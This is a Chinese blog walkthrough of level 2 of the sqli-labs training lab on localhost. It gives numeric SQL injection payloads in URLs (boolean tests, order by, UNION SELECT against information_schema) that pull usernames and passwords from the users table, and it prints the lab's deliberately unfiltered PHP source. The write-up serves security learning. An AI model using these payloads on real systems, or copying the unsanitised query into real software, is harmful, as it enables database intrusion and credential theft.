來到第二關:
<a href="http://127.0.0.1/sqli-labs-master/Less-2/">http://127.0.0.1/sqli-labs-master/Less-2/</a>
判斷是否有注入點:
and 1 = 1 傳回正常
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 1 %23
and 1 = 2 傳回失敗
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 2 %23
說明存在注入點:
order by n 檢視字段
當n=3時傳回正确
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 %23
當=4時傳回錯誤
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4 %23
說明字段是3
用union select 進行聯合查詢:
并用報錯的方式顯示顯示位:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3 %23
通過上圖可以看到顯示位在2,3上。
用version()和database()檢視php版本和目前網站用的資料庫名字
我們通過上圖可以看到資料庫是“security” 版本是5.5.53
接下來我們檢視資料庫security下的表:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23
通過上圖可以看到有users表
檢視users表裡的列
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23
接下來就是檢視username和password裡的内容:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,username,password from users where id = 2 %23
結束:
聲明:源代碼被我改動了,是以在注入的時候才會顯示出來查詢語句
接下來看看源代碼:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<code><!DOCTYPE html PUBLIC </code><code>"-//W3C//DTD XHTML 1.0 Transitional//EN"</code> <code>"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"</code><code>></code>
<code><html xmlns=</code><code>"http://www.w3.org/1999/xhtml"</code><code>></code>
<code><head></code>
<code><meta http-equiv=</code><code>"Content-Type"</code> <code>content=</code><code>"text/html; charset=utf-8"</code> <code>/></code>
<code><title>Less-2 **Error Based- Intiger**</title></code>
<code></head></code>
<code><body bgcolor=</code><code>"#000000"</code><code>></code>
<code><div style=</code><code>" margin-top:60px;color:#FFF; font-size:23px; text-align:center"</code><code>>Welcome&nbsp;&nbsp;&nbsp;<font color=</code><code>"#FF0000"</code><code>> Dhakkan </font><br></code>
<code><font size=</code><code>"3"</code> <code>color=</code><code>"#FFFF00"</code><code>></code>
<code><?php</code>
<code>//including the Mysql connect parameters.</code>
<code>include</code><code>(</code><code>"../sql-connections/sql-connect.php"</code><code>);</code>
<code>error_reporting</code><code>(0);</code>
<code>// take the variables</code>
<code>if</code><code>(isset(</code><code>$_GET</code><code>[</code><code>'id'</code><code>]))</code>
<code>{</code>
<code>$id</code><code>=</code><code>$_GET</code><code>[</code><code>'id'</code><code>];</code>
<code>//logging the connection parameters to a file for analysis.</code>
<code>$fp</code><code>=</code><code>fopen</code><code>(</code><code>'result.txt'</code><code>,</code><code>'a'</code><code>);</code>
<code>fwrite(</code><code>$fp</code><code>,</code><code>'ID:'</code><code>.</code><code>$id</code><code>.</code><code>"\n"</code><code>);</code>
<code>fclose(</code><code>$fp</code><code>);</code>
<code>// connectivity </code>
<code>$sql</code><code>=</code><code>"SELECT * FROM users WHERE id=$id LIMIT 0,1"</code><code>;</code>
<code>$result</code><code>=mysql_query(</code><code>$sql</code><code>);</code>
<code>$row</code> <code>= mysql_fetch_array(</code><code>$result</code><code>);</code>
<code>echo</code> <code>$sql</code><code>;</code>
<code>echo</code> <code>"<br>"</code><code>;</code>
<code> </code><code>if</code><code>(</code><code>$row</code><code>)</code>
<code> </code><code>{</code>
<code> </code><code>echo</code> <code>"<font size='5' color= '#99FF00'>"</code><code>;</code>
<code> </code><code>echo</code> <code>'Your Login name:'</code><code>. </code><code>$row</code><code>[</code><code>'username'</code><code>];</code>
<code> </code><code>echo</code> <code>"<br>"</code><code>;</code>
<code> </code><code>echo</code> <code>'Your Password:'</code> <code>.</code><code>$row</code><code>[</code><code>'password'</code><code>];</code>
<code> </code><code>echo</code> <code>"</font>"</code><code>;</code>
<code> </code><code>}</code>
<code> </code><code>else</code>
<code> </code><code>echo</code> <code>'<font color= "#FFFF00">'</code><code>;</code>
<code> </code><code>print_r(mysql_error());</code>
<code> </code><code>echo</code> <code>"</font>"</code><code>; </code>
<code> </code><code>}</code>
<code>}</code>
<code> </code><code>else</code>
<code> </code><code>{ </code>
<code> </code><code>echo</code> <code>"Please input the ID as parameter with numeric value"</code><code>;</code>
<code> </code><code>}</code>
<code>?></code>
<code></font> </div></br></br></br><center></code>
<code><img src=</code><code>"../images/Less-2.jpg"</code> <code>/></center></code>
<code></body></code>
<code></html></code>
通過源代碼我們可以看到,在連接配接資料庫查詢的時候并沒有進行任何過濾
與第一關不同的地方就是
這句,沒有“''”符号。
利用方式大緻相同。
第三關盡快更新
本文轉自 天道酬勤VIP 51CTO部落格,原文連結:http://blog.51cto.com/tdcqvip/2061568